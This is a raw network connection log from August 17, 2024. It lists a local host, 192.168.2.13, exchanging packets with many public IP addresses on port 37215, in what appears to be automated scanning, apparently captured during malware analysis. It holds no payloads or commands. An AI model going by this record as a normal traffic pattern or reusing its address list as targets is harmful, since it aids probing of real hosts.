Aug 17, 2024 01:01:53.628683090 CEST	46466	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.628684998 CEST	58078	37215	192.168.2.13	156.139.38.63
Aug 17, 2024 01:01:53.628700972 CEST	52302	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.628710032 CEST	52812	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.628720999 CEST	60826	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.628720999 CEST	60826	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.628730059 CEST	33104	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.628732920 CEST	37215	47280	156.40.28.159	192.168.2.13
Aug 17, 2024 01:01:53.628736973 CEST	37215	41570	41.58.43.16	192.168.2.13
Aug 17, 2024 01:01:53.628746986 CEST	39218	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.628746986 CEST	39218	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.628756046 CEST	37215	37956	41.22.187.199	192.168.2.13
Aug 17, 2024 01:01:53.628757000 CEST	39728	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.628767967 CEST	47280	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.628768921 CEST	38110	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.628776073 CEST	37215	43246	156.166.44.39	192.168.2.13
Aug 17, 2024 01:01:53.628776073 CEST	38110	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.628782034 CEST	37215	45712	156.96.163.82	192.168.2.13
Aug 17, 2024 01:01:53.628782988 CEST	38618	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.628803968 CEST	43246	37215	192.168.2.13	156.166.44.39
Aug 17, 2024 01:01:53.628806114 CEST	43788	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.628806114 CEST	45712	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.628812075 CEST	41570	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.628812075 CEST	37956	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.628855944 CEST	40864	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.628855944 CEST	40864	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.628870010 CEST	41384	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.628886938 CEST	42498	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.628886938 CEST	42498	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.628900051 CEST	43012	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.628900051 CEST	37215	60434	197.121.158.166	192.168.2.13
Aug 17, 2024 01:01:53.628905058 CEST	37215	46974	41.184.194.56	192.168.2.13
Aug 17, 2024 01:01:53.628914118 CEST	37215	37474	156.180.56.84	192.168.2.13
Aug 17, 2024 01:01:53.628914118 CEST	36902	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.628914118 CEST	36902	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.628917933 CEST	37215	43848	41.133.233.221	192.168.2.13
Aug 17, 2024 01:01:53.628922939 CEST	37215	60728	197.156.10.198	192.168.2.13
Aug 17, 2024 01:01:53.628926039 CEST	37215	41456	156.48.147.157	192.168.2.13
Aug 17, 2024 01:01:53.628930092 CEST	37215	57596	197.177.193.123	192.168.2.13
Aug 17, 2024 01:01:53.628931999 CEST	60434	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.628931999 CEST	46974	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.628937960 CEST	37474	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.628942013 CEST	43848	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.628950119 CEST	57596	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.628958941 CEST	41456	37215	192.168.2.13	156.48.147.157
Aug 17, 2024 01:01:53.628962040 CEST	60728	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.628962040 CEST	37414	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.628968000 CEST	58126	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.628968000 CEST	58126	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.628978014 CEST	58638	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.629034996 CEST	43894	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.629034996 CEST	43894	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.629053116 CEST	44406	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.629053116 CEST	55904	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.629053116 CEST	55904	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.629074097 CEST	56416	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.629074097 CEST	33852	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.629092932 CEST	34364	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.629103899 CEST	41946	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.629103899 CEST	41946	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.629117966 CEST	42458	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.629133940 CEST	33852	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.629133940 CEST	46466	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.629133940 CEST	46466	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.629151106 CEST	46978	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.629151106 CEST	43788	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.629170895 CEST	44300	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.629182100 CEST	41570	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.629187107 CEST	37215	41294	41.212.130.10	192.168.2.13
Aug 17, 2024 01:01:53.629192114 CEST	37215	54114	156.190.207.0	192.168.2.13
Aug 17, 2024 01:01:53.629194021 CEST	42082	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.629194975 CEST	37215	42626	41.177.247.124	192.168.2.13
Aug 17, 2024 01:01:53.629204988 CEST	43788	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.629209995 CEST	47280	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.629209995 CEST	47280	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.629220009 CEST	47792	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.629221916 CEST	41294	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.629228115 CEST	37215	59952	156.202.94.57	192.168.2.13
Aug 17, 2024 01:01:53.629230022 CEST	54114	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.629231930 CEST	42626	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.629232883 CEST	37215	35110	197.23.200.238	192.168.2.13
Aug 17, 2024 01:01:53.629240990 CEST	37215	51214	156.195.212.190	192.168.2.13
Aug 17, 2024 01:01:53.629244089 CEST	45712	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.629244089 CEST	45712	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.629245996 CEST	37215	46912	41.11.71.133	192.168.2.13
Aug 17, 2024 01:01:53.629250050 CEST	37215	39324	41.12.80.68	192.168.2.13
Aug 17, 2024 01:01:53.629255056 CEST	37215	41910	197.191.64.57	192.168.2.13
Aug 17, 2024 01:01:53.629254103 CEST	59952	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.629259109 CEST	37215	48036	41.193.14.154	192.168.2.13
Aug 17, 2024 01:01:53.629261971 CEST	35110	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.629264116 CEST	37215	59990	156.25.202.86	192.168.2.13
Aug 17, 2024 01:01:53.629264116 CEST	51214	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.629267931 CEST	37215	43510	197.178.191.46	192.168.2.13
Aug 17, 2024 01:01:53.629271984 CEST	46912	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.629276037 CEST	41570	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.629277945 CEST	37215	36224	41.45.100.253	192.168.2.13
Aug 17, 2024 01:01:53.629282951 CEST	37215	44780	156.166.210.31	192.168.2.13
Aug 17, 2024 01:01:53.629283905 CEST	48036	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.629283905 CEST	41910	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.629283905 CEST	59990	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.629290104 CEST	37215	49240	41.104.61.6	192.168.2.13
Aug 17, 2024 01:01:53.629293919 CEST	43510	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:53.629302025 CEST	36224	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.629303932 CEST	46224	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.629306078 CEST	39324	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.629309893 CEST	37215	38248	197.54.105.36	192.168.2.13
Aug 17, 2024 01:01:53.629309893 CEST	44780	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.629314899 CEST	37215	47066	197.29.241.16	192.168.2.13
Aug 17, 2024 01:01:53.629322052 CEST	49240	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.629338980 CEST	37215	50964	156.26.186.237	192.168.2.13
Aug 17, 2024 01:01:53.629343987 CEST	37215	39096	156.17.61.123	192.168.2.13
Aug 17, 2024 01:01:53.629343033 CEST	37956	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.629343033 CEST	38248	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.629348040 CEST	37215	47518	156.253.101.35	192.168.2.13
Aug 17, 2024 01:01:53.629352093 CEST	37215	32778	197.79.139.209	192.168.2.13
Aug 17, 2024 01:01:53.629360914 CEST	37215	49124	41.233.157.31	192.168.2.13
Aug 17, 2024 01:01:53.629363060 CEST	37956	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.629363060 CEST	50964	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.629364967 CEST	37215	49020	156.171.85.227	192.168.2.13
Aug 17, 2024 01:01:53.629374981 CEST	47518	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.629375935 CEST	47066	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:53.629375935 CEST	32778	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.629391909 CEST	49020	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.629396915 CEST	49124	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.629396915 CEST	38468	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.629437923 CEST	37215	43106	156.189.137.76	192.168.2.13
Aug 17, 2024 01:01:53.629441977 CEST	37215	57782	156.132.106.251	192.168.2.13
Aug 17, 2024 01:01:53.629445076 CEST	37215	56588	156.35.87.155	192.168.2.13
Aug 17, 2024 01:01:53.629448891 CEST	37215	39542	156.146.165.57	192.168.2.13
Aug 17, 2024 01:01:53.629455090 CEST	39096	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.629457951 CEST	37215	37468	41.56.20.161	192.168.2.13
Aug 17, 2024 01:01:53.629462004 CEST	37215	53318	197.34.26.60	192.168.2.13
Aug 17, 2024 01:01:53.629463911 CEST	43106	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.629466057 CEST	37215	38678	197.123.104.55	192.168.2.13
Aug 17, 2024 01:01:53.629470110 CEST	37215	42292	41.172.137.63	192.168.2.13
Aug 17, 2024 01:01:53.629470110 CEST	56588	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.629470110 CEST	57782	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.629473925 CEST	37215	39166	41.91.242.163	192.168.2.13
Aug 17, 2024 01:01:53.629476070 CEST	39542	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.629482031 CEST	37215	55278	197.145.210.32	192.168.2.13
Aug 17, 2024 01:01:53.629487038 CEST	37215	38932	41.186.130.207	192.168.2.13
Aug 17, 2024 01:01:53.629493952 CEST	60434	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.629498005 CEST	53318	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.629501104 CEST	42292	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.629506111 CEST	38678	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.629512072 CEST	37468	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.629513979 CEST	60434	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.629512072 CEST	55278	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.629517078 CEST	38932	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:53.629539013 CEST	46974	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.629544973 CEST	46974	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.629559040 CEST	47486	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.629569054 CEST	37474	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.629569054 CEST	37474	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.629579067 CEST	37986	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.629581928 CEST	37215	52518	41.222.83.219	192.168.2.13
Aug 17, 2024 01:01:53.629587889 CEST	39166	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.629587889 CEST	60728	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.629587889 CEST	60728	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.629601002 CEST	33008	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.629602909 CEST	52518	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:53.629614115 CEST	43848	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.629614115 CEST	43848	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.629625082 CEST	60946	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.629626989 CEST	44360	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.629643917 CEST	57596	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.629643917 CEST	57596	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.629646063 CEST	58108	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.629709005 CEST	41294	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.629709005 CEST	41294	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.629724026 CEST	41806	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.629733086 CEST	54114	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.629733086 CEST	54114	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.629745007 CEST	54626	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.629755974 CEST	42626	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.629756927 CEST	42626	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.629774094 CEST	43138	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.629785061 CEST	59952	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.629785061 CEST	59952	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.629796982 CEST	60464	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.629815102 CEST	35110	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.629815102 CEST	35110	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.629837990 CEST	46912	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.629837990 CEST	46912	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.629847050 CEST	47424	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.629858971 CEST	51214	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.629858971 CEST	51214	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.629882097 CEST	51726	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.629882097 CEST	39324	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.629882097 CEST	39324	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.629897118 CEST	39836	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.629909039 CEST	41910	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.629909992 CEST	41910	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.629925013 CEST	42422	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.629934072 CEST	48036	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.629934072 CEST	48036	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.629951000 CEST	37215	59058	197.215.8.61	192.168.2.13
Aug 17, 2024 01:01:53.629956961 CEST	59990	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.629959106 CEST	37215	41942	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:53.629964113 CEST	59990	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.629965067 CEST	35622	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.629968882 CEST	48548	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.629968882 CEST	60502	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.629980087 CEST	36224	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.629981041 CEST	59058	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:53.629990101 CEST	36224	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.629990101 CEST	41942	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:53.629993916 CEST	36736	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.630002022 CEST	49240	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.630002022 CEST	49240	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.630014896 CEST	49752	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.630024910 CEST	44780	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.630032063 CEST	44780	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.630038977 CEST	45292	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.630048037 CEST	38248	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.630048037 CEST	38248	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.630070925 CEST	38760	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.630080938 CEST	50964	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.630080938 CEST	50964	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.630083084 CEST	51476	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.630115986 CEST	47518	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.630115986 CEST	47518	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.630129099 CEST	37215	54950	156.235.58.38	192.168.2.13
Aug 17, 2024 01:01:53.630141973 CEST	39608	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.630141973 CEST	32778	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.630141973 CEST	32778	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.630143881 CEST	48030	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.630145073 CEST	39096	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.630145073 CEST	39096	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.630172014 CEST	49124	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.630172014 CEST	49124	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.630178928 CEST	49634	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.630192041 CEST	49020	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.630199909 CEST	49020	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.630199909 CEST	33290	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.630199909 CEST	49530	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.630223989 CEST	37215	33956	197.151.50.43	192.168.2.13
Aug 17, 2024 01:01:53.630238056 CEST	54950	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:53.630248070 CEST	33956	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:53.630264044 CEST	43106	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.630264044 CEST	43106	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.630279064 CEST	43622	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.630289078 CEST	57782	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.630289078 CEST	57782	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.630309105 CEST	58294	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.630316973 CEST	56588	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.630316973 CEST	56588	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.630342960 CEST	39542	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.630342960 CEST	39542	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.630357981 CEST	57100	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.630357981 CEST	40054	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.630357981 CEST	37468	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.630357981 CEST	37468	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.630377054 CEST	53318	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.630377054 CEST	53318	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.630387068 CEST	53830	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.630398035 CEST	38678	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.630410910 CEST	39190	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.630420923 CEST	42292	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.630420923 CEST	42292	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.630425930 CEST	38678	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.630425930 CEST	42804	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.630429983 CEST	37980	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.630429983 CEST	39166	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.630450964 CEST	39678	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.630475044 CEST	55790	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.630501986 CEST	55278	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.630501986 CEST	55278	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.630585909 CEST	37215	57232	156.42.67.215	192.168.2.13
Aug 17, 2024 01:01:53.630589962 CEST	37215	57232	156.42.67.215	192.168.2.13
Aug 17, 2024 01:01:53.630594969 CEST	39166	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.630609989 CEST	57232	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:53.630701065 CEST	37215	59058	197.215.8.61	192.168.2.13
Aug 17, 2024 01:01:53.630706072 CEST	37215	52518	41.222.83.219	192.168.2.13
Aug 17, 2024 01:01:53.630719900 CEST	37215	38932	41.186.130.207	192.168.2.13
Aug 17, 2024 01:01:53.630724907 CEST	37215	43510	197.178.191.46	192.168.2.13
Aug 17, 2024 01:01:53.630733013 CEST	37215	41456	156.48.147.157	192.168.2.13
Aug 17, 2024 01:01:53.630737066 CEST	37215	58078	156.139.38.63	192.168.2.13
Aug 17, 2024 01:01:53.630747080 CEST	37215	43246	156.166.44.39	192.168.2.13
Aug 17, 2024 01:01:53.630750895 CEST	37215	33956	197.151.50.43	192.168.2.13
Aug 17, 2024 01:01:53.630774975 CEST	37215	58956	41.84.246.252	192.168.2.13
Aug 17, 2024 01:01:53.630779028 CEST	37215	40472	197.116.147.152	192.168.2.13
Aug 17, 2024 01:01:53.630786896 CEST	37215	54950	156.235.58.38	192.168.2.13
Aug 17, 2024 01:01:53.630795002 CEST	37215	41942	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:53.630805016 CEST	37215	38192	41.49.222.155	192.168.2.13
Aug 17, 2024 01:01:53.630809069 CEST	37215	57154	197.47.45.83	192.168.2.13
Aug 17, 2024 01:01:53.630810022 CEST	58956	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:53.630822897 CEST	37215	50766	197.71.250.24	192.168.2.13
Aug 17, 2024 01:01:53.630826950 CEST	37215	47066	197.29.241.16	192.168.2.13
Aug 17, 2024 01:01:53.630836964 CEST	37215	49974	156.75.186.246	192.168.2.13
Aug 17, 2024 01:01:53.630840063 CEST	38192	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.630855083 CEST	57154	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.630856037 CEST	50766	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.630866051 CEST	49974	37215	192.168.2.13	156.75.186.246
Aug 17, 2024 01:01:53.630882978 CEST	37215	58852	156.216.77.222	192.168.2.13
Aug 17, 2024 01:01:53.630888939 CEST	37215	39562	197.237.253.232	192.168.2.13
Aug 17, 2024 01:01:53.630897999 CEST	37215	54368	41.108.21.210	192.168.2.13
Aug 17, 2024 01:01:53.630903006 CEST	37215	38488	156.129.216.236	192.168.2.13
Aug 17, 2024 01:01:53.630912066 CEST	37215	59762	156.12.209.120	192.168.2.13
Aug 17, 2024 01:01:53.630913973 CEST	58852	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.630916119 CEST	37215	51074	156.209.68.171	192.168.2.13
Aug 17, 2024 01:01:53.630923986 CEST	39562	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.630925894 CEST	37215	51360	41.13.249.100	192.168.2.13
Aug 17, 2024 01:01:53.630928993 CEST	54368	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.630930901 CEST	38488	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.630934000 CEST	37215	41294	197.55.126.137	192.168.2.13
Aug 17, 2024 01:01:53.630938053 CEST	38192	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.630938053 CEST	38192	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.630939007 CEST	37215	33594	156.239.26.109	192.168.2.13
Aug 17, 2024 01:01:53.630939007 CEST	59762	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.630944967 CEST	37215	41284	156.149.180.114	192.168.2.13
Aug 17, 2024 01:01:53.630949974 CEST	37215	33730	156.222.5.107	192.168.2.13
Aug 17, 2024 01:01:53.630951881 CEST	51074	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.630951881 CEST	51360	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.630954981 CEST	37215	53720	197.237.132.166	192.168.2.13
Aug 17, 2024 01:01:53.630963087 CEST	41294	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.630964994 CEST	37215	54366	41.238.184.113	192.168.2.13
Aug 17, 2024 01:01:53.630969048 CEST	37215	60714	156.242.208.174	192.168.2.13
Aug 17, 2024 01:01:53.630970001 CEST	33594	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.630970955 CEST	41284	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.630971909 CEST	37215	42188	41.29.206.66	192.168.2.13
Aug 17, 2024 01:01:53.630978107 CEST	37215	34672	197.84.105.39	192.168.2.13
Aug 17, 2024 01:01:53.630980015 CEST	38704	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.630980015 CEST	53720	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.630983114 CEST	33730	37215	192.168.2.13	156.222.5.107
Aug 17, 2024 01:01:53.630987883 CEST	37215	51444	197.255.100.152	192.168.2.13
